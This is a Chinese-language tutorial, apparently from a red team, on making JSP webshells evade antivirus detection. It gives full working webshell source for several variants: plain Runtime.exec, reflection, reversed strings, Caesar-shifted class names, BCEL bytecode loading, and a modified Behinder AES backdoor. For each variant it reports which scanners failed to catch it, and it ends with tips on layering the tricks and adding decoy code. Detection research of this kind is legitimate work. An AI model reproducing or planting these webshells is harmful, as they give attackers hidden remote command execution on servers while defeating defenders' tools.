Sangfor华东天勇战队:jspwebshell免杀
字数 1138 2025-08-11 21:26:18

JSP Webshell免杀技术详解

1. 基础JSP Webshell分析

1.1 基础JSP Webshell代码

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
    out.print(System.getProperty("os.name").toLowerCase()); // 获取操作系统类型
    String cmd = request.getParameter("cmd"); // 参数cmd
    if(cmd != null){
        Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd}); // 执行命令
        InputStream input = p.getInputStream(); // 获取字节流
        InputStreamReader ins = new InputStreamReader(input, "GBK"); // 字符输入流
        BufferedReader br = new BufferedReader(ins); // 缓冲字符
        out.print("<pre>");
        String line;
        while((line = br.readLine()) != null) { // 遍历输出
            out.println(line);
        }
        out.print("</pre>");
        br.close();
        ins.close();
        input.close();
    }
%>

特点分析

  • 直接使用Runtime.getRuntime().exec()执行命令
  • 通过cmd参数接收用户输入
  • 使用数组方式传递命令参数(避免使用字符串拼接)
  • 正确处理了命令执行的输入流和编码问题

检测情况

  • 360未检测出
  • D盾检测出为恶意文件

2. Java反射绕过技术

2.1 反射基础实现

Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
e.invoke(r.invoke(null,null),"calc");

JSP实现

<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Class c = Class.forName("java.lang.Runtime");
    Method r = c.getDeclaredMethod("getRuntime",null);
    Method e = c.getDeclaredMethod("exec",String.class);
    Process process = (Process) e.invoke(r.invoke(null,null),"calc");
%>

2.2 完整反射Webshell

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd!=null){
        try{
            Class c = Class.forName("java.lang.Runtime");
            Method r = c.getDeclaredMethod("getRuntime",null);
            Method e = c.getDeclaredMethod("exec",String.class);
            Process process = (Process) e.invoke(r.invoke(null,null),cmd);
            InputStream inputStream = process.getInputStream();
            InputStreamReader is = new InputStreamReader(inputStream,"GBK");
            BufferedReader br = new BufferedReader(is);
            StringBuffer sb = new StringBuffer("<pre>");
            String line;
            while ((line=br.readLine())!=null){
                sb.append(line+"\n");
            }
            out.print(sb+"</pre>");
            br.close();
            is.close();
            inputStream.close();
        }catch (IOException e){
            e.printStackTrace();
        }
    }
%>

检测情况

  • D盾检测为可疑文件(比直接调用Runtime隐蔽性有所提高)

3. 字符串反转技术

3.1 字符串反转实现

public static String revstr(String str){
    String line = "";
    for (int i=0;i<str.length();i++){
        line = str.charAt(i) + line; // 字符前置实现反转
    }
    return line;
}

3.2 反转技术应用

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! 
    public static String revstr(String str){
        String line = "";
        for (int i=0;i<str.length();i++){
            line = str.charAt(i) + line;
        }
        return line;
    }
%>
<%
    String cmd = request.getParameter("cmd");
    if (cmd!=null){
        try{
            Class c = Class.forName(revstr("emitnuR.gnal.avaj"));
            Method r = c.getDeclaredMethod(revstr("emitnuRteg"),null);
            Method e = c.getDeclaredMethod(revstr("cexe"),String.class);
            Process process = (Process) e.invoke(r.invoke(null,null),cmd);
            // ...省略输入流处理代码...
        }catch (IOException e){
            e.printStackTrace();
        }
    }
%>

优化点

  • 将关键字符串"java.lang.Runtime"反转为"emitnuR.gnal.avaj"
  • 运行时再反转回来使用
  • 减少了特征匹配的可能性

检测情况

  • D盾仍检测为可疑文件(但检测分数降低)

4. 凯撒加密技术

4.1 凯撒加密实现

public static String kaisa(String str){
    String line = "";
    for (int i=0;i<str.length();i++){
        char j = str.charAt(i);
        j=(char)(j-2); // 每个字符ASCII码减2
        line = line + j;
    }
    return line;
}

4.2 凯撒加密应用

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! 
    public static String kaisa(String str){
        String line = "";
        for (int i=0;i<str.length();i++){
            char j = str.charAt(i);
            j=(char)(j+2); // 解密:每个字符ASCII码加2
            line = line + j;
        }
        return line;
    }
%>
<%
    String cmd = request.getParameter("cmd");
    if (cmd!=null){
        Class c = Class.forName(kaisa("h_t_,j_le,Pslrgkc")); // "java.lang.Runtime"加密后
        Method r = c.getDeclaredMethod(kaisa("ecrPslrgkc"),null); // "getRuntime"加密后
        Method e = c.getDeclaredMethod(kaisa("cvca"),String.class); // "exec"加密后
        Process process = (Process) e.invoke(r.invoke(null,null),cmd);
        // ...省略输入流处理代码...
    }
%>

检测情况

  • 成功绕过D盾检测
  • VT扫描无检出

5. BCEL字节码加载技术

5.1 BCEL原理

  • 使用com.sun.org.apache.bcel.internal.classfile.Utility.encode()进行BCEL编码
  • 通过com.sun.org.apache.bcel.internal.util.ClassLoader加载BCEL编码的类

5.2 BCEL实现步骤

  1. 创建恶意类
public class ByteCodeEvil {
    String res;
    public ByteCodeEvil(String cmd) throws Exception{
        StringBuilder stringBuilder = new StringBuilder().append("<pre>");
        BufferedReader bufferedReader = new BufferedReader(
            new InputStreamReader(
                Runtime.getRuntime().exec(cmd).getInputStream(),"GBK"));
        String line;
        while ((line=bufferedReader.readLine())!=null){
            stringBuilder.append(line).append("\n");
        }
        stringBuilder.append("</pre>");
        this.res = stringBuilder.toString();
    }
    public String toString(){
        return this.res;
    }
}
  1. 生成BCEL编码
String encode = Utility.encode(Files.readAllBytes(
    Paths.get("ByteCodeEvil.class")),true);
System.out.println(encode);
  1. JSP实现
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd!=null){
        Class c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
        ClassLoader loader = (ClassLoader) c.newInstance();
        String beclcode="
$$
BCEL
$$
"+"...生成的BCEL编码...";
        Class<?> aClass = loader.loadClass(beclcode);
        Constructor<?> constructor = aClass.getConstructor(String.class);
        Object o = constructor.newInstance(cmd);
        out.println("o = " + o);
    }
%>

检测情况

  • 成功绕过D盾检测
  • VT扫描无检出

6. 冰蝎(Behinder)后门免杀

6.1 冰蝎原理分析

  • 使用AES加密通信
  • 自定义类加载器加载解密后的字节码
  • 密钥为连接密码32位md5值的前16位(默认"rebeyond")

6.2 免杀实现

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%!
class U extends ClassLoader{
    U(ClassLoader c){super(c); }
    public Class g(byte []b) { 
        return super.defineClass(b,0,b.length);
    }
}
%>
<%
if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b"; // "rebeyond"的md5前16位
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    Class c2 = Class.forName("javax.crypto.spec.SecretKeySpec");
    Constructor Constructor=c2.getConstructor(byte[].class,String.class);
    SecretKeySpec aes = (SecretKeySpec)Constructor.newInstance(k.getBytes(),"AES");
    c.init(2,aes);
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    String input= request.getReader().readLine();
    byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
    Class clazz2=Class.forName("javax.crypto.Cipher");
    byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
    Class clazz=new U(contextClassLoader).g(clazzBytes);
    clazz.newInstance().equals(pageContext);
}
%>

特点

  • 使用反射构造SecretKeySpec
  • 自定义类加载器加载解密后的字节码
  • 保持了冰蝎的通信协议和加密方式

检测情况

  • 成功绕过D盾检测
  • VT扫描无检出

7. 综合免杀建议

  1. 多技术组合使用

    • 反射+字符串反转+凯撒加密
    • BCEL+自定义类加载器
  2. 输入输出处理优化

    • 使用字节数组直接处理命令输出
    • 避免使用明显的流处理模式
  3. 特征消除

    • 避免直接使用Runtime、Process等关键字
    • 使用非常规方法获取类和方法
  4. 动态加载

    • 尽可能使用字节码动态加载技术
    • 分离核心功能到独立类中
  5. 环境检测

    • 添加无害的环境检测代码作为掩护
    • 延迟执行敏感操作

这些技术可以显著提高JSP Webshell的隐蔽性,但请注意这些技术仅用于安全研究和防御目的,切勿用于非法用途。

JSP Webshell免杀技术详解 1. 基础JSP Webshell分析 1.1 基础JSP Webshell代码 特点分析 : 直接使用 Runtime.getRuntime().exec() 执行命令 通过 cmd 参数接收用户输入 使用数组方式传递命令参数(避免使用字符串拼接) 正确处理了命令执行的输入流和编码问题 检测情况 : 360未检测出 D盾检测出为恶意文件 2. Java反射绕过技术 2.1 反射基础实现 JSP实现 : 2.2 完整反射Webshell 检测情况 : D盾检测为可疑文件(比直接调用Runtime隐蔽性有所提高) 3. 字符串反转技术 3.1 字符串反转实现 3.2 反转技术应用 优化点 : 将关键字符串"java.lang.Runtime"反转为"emitnuR.gnal.avaj" 运行时再反转回来使用 减少了特征匹配的可能性 检测情况 : D盾仍检测为可疑文件(但检测分数降低) 4. 凯撒加密技术 4.1 凯撒加密实现 4.2 凯撒加密应用 检测情况 : 成功绕过D盾检测 VT扫描无检出 5. BCEL字节码加载技术 5.1 BCEL原理 使用 com.sun.org.apache.bcel.internal.classfile.Utility.encode() 进行BCEL编码 通过 com.sun.org.apache.bcel.internal.util.ClassLoader 加载BCEL编码的类 5.2 BCEL实现步骤 创建恶意类 : 生成BCEL编码 : JSP实现 : 检测情况 : 成功绕过D盾检测 VT扫描无检出 6. 冰蝎(Behinder)后门免杀 6.1 冰蝎原理分析 使用AES加密通信 自定义类加载器加载解密后的字节码 密钥为连接密码32位md5值的前16位(默认"rebeyond") 6.2 免杀实现 特点 : 使用反射构造SecretKeySpec 自定义类加载器加载解密后的字节码 保持了冰蝎的通信协议和加密方式 检测情况 : 成功绕过D盾检测 VT扫描无检出 7. 综合免杀建议 多技术组合使用 : 反射+字符串反转+凯撒加密 BCEL+自定义类加载器 输入输出处理优化 : 使用字节数组直接处理命令输出 避免使用明显的流处理模式 特征消除 : 避免直接使用Runtime、Process等关键字 使用非常规方法获取类和方法 动态加载 : 尽可能使用字节码动态加载技术 分离核心功能到独立类中 环境检测 : 添加无害的环境检测代码作为掩护 延迟执行敏感操作 这些技术可以显著提高JSP Webshell的隐蔽性,但请注意这些技术仅用于安全研究和防御目的,切勿用于非法用途。